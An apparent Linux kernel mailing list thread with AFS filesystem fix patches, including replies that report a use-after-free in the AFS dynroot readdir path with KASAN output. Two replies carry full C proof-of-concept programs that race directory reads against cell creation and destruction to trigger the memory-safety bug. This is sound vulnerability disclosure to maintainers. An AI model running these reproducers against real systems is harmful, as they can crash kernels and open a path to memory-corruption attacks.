https://sashiko.dev/#/patchset/20260618155141.2513212-1-dhowells%40redhat.com
(Sashiko AI code review — "Use-After-Free", Severity: High)
Thanks,
XIAO
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <pthread.h>
static volatile int stop = 0;
static void *readdir_race(void *arg)
{
const char *mp = (const char *)arg;
char buf[65536];
while (!stop) {
int fd = open(mp, O_RDONLY | O_DIRECTORY);
if (fd < 0) continue;
while (!stop) {
ssize_t n = syscall(SYS_getdents64, fd, buf, sizeof(buf));
if (n <= 0) break;
}
close(fd);
sched_yield();
}
return NULL;
}
/* Create many cells that will collide when re-added, causing
* afs_put_cell on the candidate -> call_rcu -> kfree while readdir
* is traversing the IDR */
static void *cell_collider(void *arg)
{
int pfd = open("/proc/fs/afs/cells", O_WRONLY);
if (pfd < 0) return NULL;
char cmd[64];
/* First batch: create 500 cells */
for (int i = 0; i < 500; i++) {
snprintf(cmd, sizeof(cmd), "add cell_%d", i);
write(pfd, cmd, strlen(cmd));
}
/* Now race: repeatedly trigger cell_already_exists path.
* Each "add" for existing name creates candidate, adds to IDR,
* then frees it via afs_put_candiate -> call_rcu -> kfree */
for (int iter = 0; !stop && iter < 200000; iter++) {
snprintf(cmd, sizeof(cmd), "add cell_%d", iter & 0x1ff);
write(pfd, cmd, strlen(cmd));
if ((iter & 0xfff) == 0) sched_yield();
}
close(pfd);
return NULL;
}
int main(void)
{
pthread_t t1, t2, t3, t4;
const char *mp = "/mnt/afs";
printf("[+] AFS dynroot UAF PoC v5\n");
mkdir(mp, 0755);
if (mount("none", mp, "afs", 0, "dyn") < 0) {
perror("mount");
return 1;
}
printf("[+] Mounted AFS dynroot\n");
printf("[+] Starting 2 readers + 2 cell colliders...\n");
pthread_create(&t1, NULL, readdir_race, (void *)mp);
pthread_create(&t2, NULL, readdir_race, (void *)mp);
pthread_create(&t3, NULL, cell_collider, NULL);
pthread_create(&t4, NULL, cell_collider, NULL);
sleep(120);
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
printf("[+] Checking dmesg:\n");
fflush(stdout);
system("dmesg | grep -i -A5
'BUG:\\|KASAN\\|UAF\\|dynroot_readdir\\|afs_cell_destroy' | head -80");
system("dmesg | tail -20");
umount2(mp, MNT_DETACH);
rmdir(mp);
return 0;
}
^ permalink raw reply [flat|nested] 24+ messages in thread
* [PATCH v3 12/20] afs: Fix reinitialisation of the inode, in particular ->lock_work
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (10 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 11/20] afs: Fix misplaced inc of net->cells_outstanding David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 13/20] afs: Fix callback service message parsers to pass through -EAGAIN David Howells
` (7 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Thomas Gleixner
It seems that initalising afs_vnode::lock_work a single time in the slab's
init function isn't sufficient for work_structs. This results in the
DEBUG_OBJECTS debugging stuff producing a warning occasionally when running
the generic/131 xfstest:
ODEBUG: activate not available (active state 0) object: 0000000016d8760f object type: work_struct hint: afs_lock_work+0x0/0x220
WARNING: lib/debugobjects.c:629 at debug_print_object+0x4b/0x90, CPU#3: locktest/7695
...
CPU: 3 UID: 0 PID: 7695 Comm: locktest Tainted: G S 7.1.0-build3+ #2771 PREEMPT
...
RIP: 0010:debug_print_object+0x65/0x90
...
Call Trace:
<TASK>
? __pfx_afs_lock_work+0x10/0x10
debug_object_activate+0x122/0x170
insert_work+0x25/0x60
__queue_work+0x2e0/0x340
queue_delayed_work_on+0x48/0x70
afs_fl_release_private+0x57/0x70
locks_release_private+0x5c/0xa0
locks_free_lock+0xe/0x20
posix_lock_inode+0x55f/0x5b0
locks_lock_inode_wait+0x81/0x140
? file_write_and_wait_range+0x50/0x70
afs_lock+0xcd/0x110
fcntl_setlk+0x10d/0x260
do_fcntl+0x24e/0x5b0
__do_sys_fcntl+0x6a/0x90
do_syscall_64+0x11e/0x310
entry_SYSCALL_64_after_hwframe+0x71/0x79
Fix this by reinitialising ->lock_work after allocating an inode.
Also, flush ->lock_work when the inode is being evicted to make sure it's
not still running.
Fixes: e8d6c554126b ("AFS: implement file locking")
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: Thomas Gleixner <tglx@kernel.org>
cc: linux-afs@lists.infradead.org
---
fs/afs/inode.c | 1 +
fs/afs/super.c | 2 +-
2 files changed, 2 insertions(+), 1 deletion(-)
diff --git a/fs/afs/inode.c b/fs/afs/inode.c
index 51c28f148845..14f39a9bea6c 100644
--- a/fs/afs/inode.c
+++ b/fs/afs/inode.c
@@ -680,6 +680,7 @@ void afs_evict_inode(struct inode *inode)
inode->i_mapping->a_ops->writepages(inode->i_mapping, &wbc);
}
+ flush_delayed_work(&vnode->lock_work);
netfs_wait_for_outstanding_io(inode);
truncate_inode_pages_final(&inode->i_data);
netfs_free_folioq_buffer(vnode->directory);
diff --git a/fs/afs/super.c b/fs/afs/super.c
index dec091e569c4..82bb713825a0 100644
--- a/fs/afs/super.c
+++ b/fs/afs/super.c
@@ -660,7 +660,6 @@ static void afs_i_init_once(void *_vnode)
INIT_LIST_HEAD(&vnode->wb_keys);
INIT_LIST_HEAD(&vnode->pending_locks);
INIT_LIST_HEAD(&vnode->granted_locks);
- INIT_DELAYED_WORK(&vnode->lock_work, afs_lock_work);
INIT_LIST_HEAD(&vnode->cb_mmap_link);
seqlock_init(&vnode->cb_lock);
}
@@ -694,6 +693,7 @@ static struct inode *afs_alloc_inode(struct super_block *sb)
init_rwsem(&vnode->rmdir_lock);
INIT_WORK(&vnode->cb_work, afs_invalidate_mmap_work);
+ INIT_DELAYED_WORK(&vnode->lock_work, afs_lock_work);
_leave(" = %p", &vnode->netfs.inode);
return &vnode->netfs.inode;
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 13/20] afs: Fix callback service message parsers to pass through -EAGAIN
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (11 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 12/20] afs: Fix reinitialisation of the inode, in particular ->lock_work David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 14/20] afs: Use scoped_seqlock_read() rather than manually doing seqlock stuff David Howells
` (6 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel
The AFS filesystem client uses an rxrpc server to listen for callback
notifications. Each callback call type handler has a delivery function
that parses the incoming request stream, and this should return -EAGAIN the
last packet hasn't yet been seen, but all currently queued received data is
consumed. afs_extract_data() does this, but the -EAGAIN return is switched
to 0 inadvertantly
Fix callback service message parsers to pass through -EAGAIN
Fixes: d001648ec7cf ("rxrpc: Don't expose skbs to in-kernel users [ver #2]")
Closes: https://sashiko.dev/#/patchset/20260609081738.770127-1-dhowells%40redhat.com
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/cmservice.c | 2 --
1 file changed, 2 deletions(-)
diff --git a/fs/afs/cmservice.c b/fs/afs/cmservice.c
index 263c60c811a5..db394f101fc6 100644
--- a/fs/afs/cmservice.c
+++ b/fs/afs/cmservice.c
@@ -334,7 +334,6 @@ static int afs_deliver_cb_init_call_back_state3(struct afs_call *call)
ret = afs_extract_data(call, false);
switch (ret) {
case 0: break;
- case -EAGAIN: return 0;
default: return ret;
}
@@ -456,7 +455,6 @@ static int afs_deliver_cb_probe_uuid(struct afs_call *call)
ret = afs_extract_data(call, false);
switch (ret) {
case 0: break;
- case -EAGAIN: return 0;
default: return ret;
}
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 14/20] afs: Use scoped_seqlock_read() rather than manually doing seqlock stuff
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (12 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 13/20] afs: Fix callback service message parsers to pass through -EAGAIN David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 15/20] afs: Fix missing NULL pointer check in afs_break_some_callbacks() David Howells
` (5 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Oleg Nesterov, Li RongQing
This is an addendum to the patch to remove the erroneous seq |= 1 in volume
lookup loop.
Switch to using scoped_seqlock_read() as suggested by Oleg Nesterov[1].
Signed-off-by: David Howells <dhowells@redhat.com>
Reviewed-by: Oleg Nesterov <oleg@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: Li RongQing <lirongqing@baidu.com>
cc: linux-afs@lists.infradead.org
Link: https://lore.kernel.org/r/aifaeKvz3KemfzaS@redhat.com/ [1]
---
fs/afs/callback.c | 9 +--------
1 file changed, 1 insertion(+), 8 deletions(-)
diff --git a/fs/afs/callback.c b/fs/afs/callback.c
index 833ac3178ddc..dd7a407ea368 100644
--- a/fs/afs/callback.c
+++ b/fs/afs/callback.c
@@ -113,16 +113,12 @@ static struct afs_volume *afs_lookup_volume_rcu(struct afs_cell *cell,
{
struct afs_volume *volume = NULL;
struct rb_node *p;
- int seq = 1;
- for (;;) {
+ scoped_seqlock_read(&cell->volume_lock, ss_lock) {
/* Unfortunately, rbtree walking doesn't give reliable results
* under just the RCU read lock, so we have to check for
* changes.
*/
- seq++; /* 2 on the 1st/lockless path, otherwise odd */
- read_seqbegin_or_lock(&cell->volume_lock, &seq);
-
p = rcu_dereference_raw(cell->volumes.rb_node);
while (p) {
volume = rb_entry(p, struct afs_volume, cell_node);
@@ -138,11 +134,8 @@ static struct afs_volume *afs_lookup_volume_rcu(struct afs_cell *cell,
if (volume && afs_try_get_volume(volume, afs_volume_trace_get_callback))
break;
- if (!need_seqretry(&cell->volume_lock, seq))
- break;
}
- done_seqretry(&cell->volume_lock, seq);
return volume;
}
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 15/20] afs: Fix missing NULL pointer check in afs_break_some_callbacks()
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (13 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 14/20] afs: Use scoped_seqlock_read() rather than manually doing seqlock stuff David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 16/20] afs: Fix leak of ungot volume David Howells
` (4 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel
Fix afs_break_some_callbacks() to check to see if afs_lookup_volume_rcu()
returned NULL (e.g. the specified volume is unknown).
Fixes: 8230fd8217b7 ("afs: Make callback processing more efficient.")
Closes: https://sashiko.dev/#/patchset/20260609081738.770127-1-dhowells%40redhat.com
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/callback.c | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/fs/afs/callback.c b/fs/afs/callback.c
index dd7a407ea368..74853e0d0435 100644
--- a/fs/afs/callback.c
+++ b/fs/afs/callback.c
@@ -213,7 +213,11 @@ static void afs_break_some_callbacks(struct afs_server *server,
rcu_read_lock();
volume = afs_lookup_volume_rcu(server->cell, vid);
- if (cbb->fid.vnode == 0 && cbb->fid.unique == 0) {
+ if (!volume) {
+ /* Ignore breaks on unknown volumes. */
+ rcu_read_unlock();
+ *_count = 0;
+ } else if (cbb->fid.vnode == 0 && cbb->fid.unique == 0) {
afs_break_volume_callback(server, volume);
*_count -= 1;
if (*_count)
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 16/20] afs: Fix leak of ungot volume
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (14 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 15/20] afs: Fix missing NULL pointer check in afs_break_some_callbacks() David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 17/20] afs: Fix vllist leak David Howells
` (3 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel, Deepakkumar Karn
Fix afs_lookup_volume_rcu() so that it doesn't leak a dying volume if
afs_try_get_volume() fails.
Fixes: 32222f09782f ("afs: Apply server breaks to mmap'd files in the call processor")
Closes: https://sashiko.dev/#/patchset/20260609081738.770127-1-dhowells%40redhat.com
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: Deepakkumar Karn <dkarn@redhat.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/callback.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/fs/afs/callback.c b/fs/afs/callback.c
index 74853e0d0435..61354003c006 100644
--- a/fs/afs/callback.c
+++ b/fs/afs/callback.c
@@ -134,6 +134,7 @@ static struct afs_volume *afs_lookup_volume_rcu(struct afs_cell *cell,
if (volume && afs_try_get_volume(volume, afs_volume_trace_get_callback))
break;
+ volume = NULL;
}
return volume;
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 17/20] afs: Fix vllist leak
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (15 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 16/20] afs: Fix leak of ungot volume David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino David Howells
` (2 subsequent siblings)
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel
Fix a leak of the new vllist in afs_update_cell() in the event that it is an
empty list (nr_servers == 0), in which case the old list isn't displaced
unless the old list is also empty.
Fixes: d5c32c89b208 ("afs: Fix cell DNS lookup")
Closes: https://sashiko.dev/#/patchset/20260609081738.770127-1-dhowells%40redhat.com
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/cell.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/fs/afs/cell.c b/fs/afs/cell.c
index e0fab1609f27..fbb8a43aa7cd 100644
--- a/fs/afs/cell.c
+++ b/fs/afs/cell.c
@@ -547,6 +547,8 @@ static int afs_update_cell(struct afs_cell *cell)
rcu_assign_pointer(cell->vl_servers, vllist);
cell->dns_source = vllist->source;
old = p;
+ } else {
+ old = vllist;
}
write_unlock(&cell->vl_servers_lock);
afs_put_vlserverlist(cell->net, old);
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (16 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 17/20] afs: Fix vllist leak David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-22 20:29 ` XIAO WU
2026-06-22 20:31 ` XIAO WU
2026-06-18 15:51 ` [PATCH v3 19/20] afs: Fix the volume AFS_VOLUME_RM_TREE is set on David Howells
2026-06-18 15:51 ` [PATCH v3 20/20] afs: Fix unchecked-length string display in debug statement David Howells
19 siblings, 2 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel
Fix the lack of locking around modifications of net->cells_dyn_ino.
Fixes: 1d0b929fc070 ("afs: Change dynroot to create contents on demand")
Closes: https://sashiko.dev/#/patchset/20260618074903.2374756-1-dhowells%40redhat.com
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/cell.c | 8 +++++++-
fs/afs/internal.h | 1 +
fs/afs/main.c | 1 +
3 files changed, 9 insertions(+), 1 deletion(-)
diff --git a/fs/afs/cell.c b/fs/afs/cell.c
index fbb8a43aa7cd..e95e96f8200c 100644
--- a/fs/afs/cell.c
+++ b/fs/afs/cell.c
@@ -205,8 +205,12 @@ static struct afs_cell *afs_alloc_cell(struct afs_net *net,
cell->dns_source = vllist->source;
cell->dns_status = vllist->status;
smp_store_release(&cell->dns_lookup_count, 1); /* vs source/status */
+ idr_preload(GFP_KERNEL);
+ spin_lock(&net->cells_dyn_ino_lock);
ret = idr_alloc_cyclic(&net->cells_dyn_ino, cell,
- 2, INT_MAX / 2, GFP_KERNEL);
+ 2, INT_MAX / 2, GFP_ATOMIC);
+ spin_unlock(&net->cells_dyn_ino_lock);
+ idr_preload_end();
if (ret < 0)
goto error;
atomic_inc(&net->cells_outstanding);
@@ -579,7 +583,9 @@ static void afs_cell_destroy(struct rcu_head *rcu)
afs_put_vlserverlist(net, rcu_access_pointer(cell->vl_servers));
afs_unuse_cell(cell->alias_of, afs_cell_trace_unuse_alias);
key_put(cell->anonymous_key);
+ spin_lock(&net->cells_dyn_ino_lock);
idr_remove(&net->cells_dyn_ino, cell->dynroot_ino);
+ spin_unlock(&net->cells_dyn_ino_lock);
kfree(cell->name - 1);
kfree(cell);
diff --git a/fs/afs/internal.h b/fs/afs/internal.h
index 785c646856d7..c42752608383 100644
--- a/fs/afs/internal.h
+++ b/fs/afs/internal.h
@@ -293,6 +293,7 @@ struct afs_net {
struct idr cells_dyn_ino; /* cell->dynroot_ino mapping */
struct afs_cell __rcu *ws_cell;
atomic_t cells_outstanding;
+ spinlock_t cells_dyn_ino_lock;
struct rw_semaphore cells_lock;
struct mutex cells_alias_lock;
diff --git a/fs/afs/main.c b/fs/afs/main.c
index 7a883c59976f..0a4a606575d7 100644
--- a/fs/afs/main.c
+++ b/fs/afs/main.c
@@ -78,6 +78,7 @@ static int __net_init afs_net_init(struct net *net_ns)
net->cells = RB_ROOT;
idr_init(&net->cells_dyn_ino);
+ spin_lock_init(&net->cells_dyn_ino_lock);
init_rwsem(&net->cells_lock);
mutex_init(&net->cells_alias_lock);
mutex_init(&net->proc_cells_lock);
^ permalink raw reply related [flat|nested] 24+ messages in thread* Re: [PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino
2026-06-18 15:51 ` [PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino David Howells
@ 2026-06-22 20:29 ` XIAO WU
2026-06-22 20:31 ` XIAO WU
1 sibling, 0 replies; 24+ messages in thread
From: XIAO WU @ 2026-06-22 20:29 UTC (permalink / raw)
To: David Howells, Christian Brauner
Cc: Marc Dionne, linux-afs, linux-fsdevel, linux-kernel
Hi David,
I came across the Sashiko AI review [1] of this series and was able to
reproduce a use-after-free in the AFS dynroot readdir path that this
patch touches. I wanted to share the concrete evidence and a PoC.
The patch adds a spinlock (cells_dyn_ino_lock) around modifications to
net->cells_dyn_ino, but leaves two issues:
1. **Read-side still missing RCU protection**: afs_dynroot_readdir_cells()
calls idr_get_next(&net->cells_dyn_ino, ...) without rcu_read_lock().
Since the patch moves idr_remove() inside the RCU callback
(afs_cell_destroy),
the IDR's internal radix tree nodes can be freed while idr_get_next()
is traversing them. dir_emit() sleeps, allowing the grace period to
pass, and the reader returns to freed memory.
2. **Potential deadlock**: afs_alloc_cell() uses spin_lock() (without
disabling softirqs), but afs_cell_destroy() runs in RCU_SOFTIRQ
context via call_rcu() and acquires the same lock. If a softirq
interrupts process context while the lock is held, the RCU callback
could spin-wait on the same CPU.
[Reproduction]
The PoC mounts an AFS dynroot filesystem, pre-populates 50 cells, then
runs 4 threads:
- 2 readdir threads: continuously opendir/readdir the dynroot,
exercising idr_get_next() without rcu_read_lock()
- 1 creator thread: adds new cells via /proc/fs/afs/cells,
exercising idr_alloc_cyclic() with spin_lock()
- 1 accessor thread: opens/closes cell directories, triggering
cell lookup/unuse → call_rcu → afs_cell_destroy → idr_remove()
The UAF triggers deterministically within 10 seconds on a patched
kernel with CONFIG_KASAN=y.
[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]
BUG: KASAN: slab-use-after-free in afs_dynroot_readdir+0xa26/0xb70
Read of size 4 at addr ffff888114df2958 by task poc/11248
Call Trace:
<TASK>
dump_stack_lvl
print_report
kasan_report
afs_dynroot_readdir+0xa26/0xb70
(reading cell->state or cell->dynroot_ino from a freed cell)
...
The PoC is attached. It compiles with:
gcc -o poc poc.c -static -lpthread
[1]
https://sashiko.dev/#/patchset/20260618155141.2513212-1-dhowells%40redhat.com
(Sashiko AI code review — "Use-After-Free", Severity: High)
Thanks,
XIAOWU
// SPDX-License-Identifier: GPL-2.0-only
/*
* PoC for use-after-free in AFS dynroot readdir due to idr_remove()
* being called inside RCU callback while afs_dynroot_readdir_cells()
* calls idr_get_next() without rcu_read_lock().
*
* Bug: Patch 18/20 added spin_lock(&net->cells_dyn_ino_lock) around
* idr_alloc_cyclic() in afs_alloc_cell() (process context) and around
* idr_remove() in afs_cell_destroy() (RCU callback context). The
* idr_remove() now happens inside the RCU callback, and the IDR
* internal radix tree nodes are freed after call_rcu(). Meanwhile,
* afs_dynroot_readdir_cells() calls idr_get_next() without
* rcu_read_lock(), so a concurrent idr_remove() freeing internal
* nodes creates a use-after-free.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <pthread.h>
#include <dirent.h>
#include <signal.h>
#define MNT_PATH "/tmp/afsroot"
#define PROC_CELLS "/proc/fs/afs/cells"
#define MAX_THREADS 4
/* Cell names - must be printable, no '/' or '@', not starting with '.' */
#define NUM_CELL_NAMES 50
static char cell_names[NUM_CELL_NAMES][32];
static volatile int stop_flag = 0;
static pthread_t threads[MAX_THREADS];
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void add_cell(const char *name)
{
char buf[256];
int len = snprintf(buf, sizeof(buf), "add %s", name);
int fd = open(PROC_CELLS, O_WRONLY);
if (fd < 0)
return;
/* Ignore errors (cell may already exist) */
(void)write(fd, buf, len);
close(fd);
}
/* Thread that creates new cells, which calls afs_alloc_cell ->
* idr_alloc_cyclic, holding cells_dyn_ino_lock via spin_lock().
* The lock does not disable softirqs, so an RCU callback could
* run on this CPU while the lock is held. */
static void *creator_thread(void *arg)
{
int idx = (long)arg;
char name[64];
int i;
for (i = 0; i < 10000 && !stop_flag; i++) {
int ci = (i + idx * 1000) % NUM_CELL_NAMES;
snprintf(name, sizeof(name), "%s_p%d", cell_names[ci], idx);
add_cell(name);
if (i % 100 == 0)
usleep(10);
}
return NULL;
}
/* Thread that reads the dynroot directory in a tight loop.
* This calls afs_dynroot_readdir -> afs_dynroot_readdir_cells
* -> idr_get_next() WITHOUT rcu_read_lock(). */
static void *readdir_thread(void *arg)
{
int i;
for (i = 0; i < 100000 && !stop_flag; i++) {
DIR *dir = opendir(MNT_PATH);
if (!dir) {
usleep(100);
continue;
}
/* Read ALL directory entries. For each entry, idr_get_next
* traverses the radix tree's internal nodes (which are RCU
* protected). Since we DON'T hold rcu_read_lock(), and a
* concurrent idr_remove (in RCU callback) can free radix
* tree nodes, this is a use-after-free.
*/
struct dirent *entry;
while ((entry = readdir(dir)) != NULL) {
/* Touch the entry data to force memory access */
__asm__ volatile("" : : "r"(entry->d_type),
"r"(entry->d_name[0]));
}
closedir(dir);
}
return NULL;
}
/* Thread that opens cell directories, triggering refcounting
* that eventually leads to cell destruction via afs_unuse_cell
* -> afs_manage_cell -> call_rcu -> afs_cell_destroy. */
static void *accessor_thread(void *arg)
{
char path[256];
int i;
for (i = 0; i < 50000 && !stop_flag; i++) {
int ci = i % NUM_CELL_NAMES;
snprintf(path, sizeof(path), "%s/%s", MNT_PATH, cell_names[ci]);
/* Opening triggers lookup, which creates a new cell if needed.
* Closing triggers unuse, which eventually may free the cell.
*/
int fd = open(path, O_RDONLY | O_DIRECTORY);
if (fd >= 0) {
/* Just accessing the directory entry - this takes a ref */
struct stat st;
if (fstat(fd, &st) == 0) {
__asm__ volatile("" : : "r"(st.st_ino));
}
close(fd);
/* After close, cell may get freed */
}
if (i % 20 == 0)
sched_yield();
}
return NULL;
}
int main(int argc, char **argv)
{
int i, ret, status;
pid_t pid;
/* Use subprocess to isolate effects */
pid = fork();
if (pid < 0)
die("fork");
if (pid == 0) {
/* Child - run the PoC */
printf("AFS dynroot use-after-free PoC\n");
printf("===============================\n\n");
/* Initialize cell names */
for (i = 0; i < NUM_CELL_NAMES; i++) {
snprintf(cell_names[i], sizeof(cell_names[i]), "cell%d", i);
}
/* Create mount point */
mkdir(MNT_PATH, 0755);
/* Load module if needed */
system("modprobe kafs 2>/dev/null");
usleep(50000);
/* Mount AFS dynroot */
printf("[*] Mounting AFS dynroot at %s...\n", MNT_PATH);
if (mount("none", MNT_PATH, "afs", 0, "dyn") < 0) {
fprintf(stderr, "[!] mount failed: %s\n", strerror(errno));
_exit(1);
}
printf("[+] Mounted successfully\n");
usleep(100000);
/* Pre-create cells to populate the IDR radix tree */
printf("[*] Pre-populating %d cells...\n", NUM_CELL_NAMES);
for (i = 0; i < NUM_CELL_NAMES; i++) {
add_cell(cell_names[i]);
if (i % 10 == 0)
usleep(1000);
}
printf("[+] Cells created\n");
/* Verify we can read them */
{
DIR *dir = opendir(MNT_PATH);
if (dir) {
int cnt = 0;
struct dirent *e;
while ((e = readdir(dir))) cnt++;
closedir(dir);
printf("[+] Dynroot has %d entries\n", cnt);
}
}
printf("[*] Starting race threads...\n");
/* Start 2 readdir threads */
for (i = 0; i < 2; i++) {
ret = pthread_create(&threads[i], NULL, readdir_thread,
(void *)(long)i);
if (ret) fprintf(stderr, "readdir thread %d: %s\n", i,
strerror(ret));
}
/* Start 1 creator thread */
ret = pthread_create(&threads[2], NULL, creator_thread,
(void *)(long)1);
if (ret) fprintf(stderr, "creator thread: %s\n", strerror(ret));
/* Start 1 accessor thread */
ret = pthread_create(&threads[3], NULL, accessor_thread,
(void *)(long)1);
if (ret) fprintf(stderr, "accessor thread: %s\n", strerror(ret));
/* Run for 10 seconds */
sleep(10);
/* Signal stop */
stop_flag = 1;
/* Wait for threads */
for (i = 0; i < 4; i++) {
pthread_join(threads[i], NULL);
}
printf("[*] All threads stopped\n");
printf("[*] Checking dmesg for crash evidence...\n");
/* Collect dmesg output */
FILE *dmesg = popen("dmesg -c 2>/dev/null || dmesg | tail
-100", "r");
if (dmesg) {
char buf[512];
int found = 0;
while (fgets(buf, sizeof(buf), dmesg)) {
if (strstr(buf, "KASAN") || strstr(buf, "BUG:") ||
strstr(buf, "Oops") || strstr(buf, "Unable to
handle") ||
strstr(buf, "general protection") ||
strstr(buf, "rcu_callback") ||
strstr(buf, "call_rcu") ||
strstr(buf, "idr_remove") ||
strstr(buf, "afs_cell_destroy")) {
printf("%s", buf);
found = 1;
}
}
if (!found)
printf("[*] No crash evidence in dmesg\n");
pclose(dmesg);
}
/* Clean up */
umount2(MNT_PATH, MNT_FORCE);
rmdir(MNT_PATH);
printf("\n[*] PoC complete\n");
_exit(0);
}
/* Parent - wait for child */
waitpid(pid, &status, 0);
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
printf("\n[!] Child killed by signal %d (%s)\n", sig,
strsignal(sig));
printf("[!] This confirms the bug triggered!\n");
return 1;
}
printf("\n[*] Child exited normally (status %d)\n",
WEXITSTATUS(status));
return 0;
}
^ permalink raw reply [flat|nested] 24+ messages in thread* Re: [PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino
2026-06-18 15:51 ` [PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino David Howells
2026-06-22 20:29 ` XIAO WU
@ 2026-06-22 20:31 ` XIAO WU
1 sibling, 0 replies; 24+ messages in thread
From: XIAO WU @ 2026-06-22 20:31 UTC (permalink / raw)
To: David Howells, Christian Brauner
Cc: Marc Dionne, linux-afs, linux-fsdevel, linux-kernel
Hi David,
I came across the Sashiko AI review [1] of this series and was able to
reproduce a use-after-free in the AFS dynroot readdir path that this
patch touches. I wanted to share the concrete evidence and a PoC.
The patch adds a spinlock (cells_dyn_ino_lock) around modifications to
net->cells_dyn_ino, but leaves two issues:
1. **Read-side still missing RCU protection**: afs_dynroot_readdir_cells()
calls idr_get_next(&net->cells_dyn_ino, ...) without rcu_read_lock().
Since the patch moves idr_remove() inside the RCU callback
(afs_cell_destroy),
the IDR's internal radix tree nodes can be freed while idr_get_next()
is traversing them. dir_emit() sleeps, allowing the grace period to
pass, and the reader returns to freed memory.
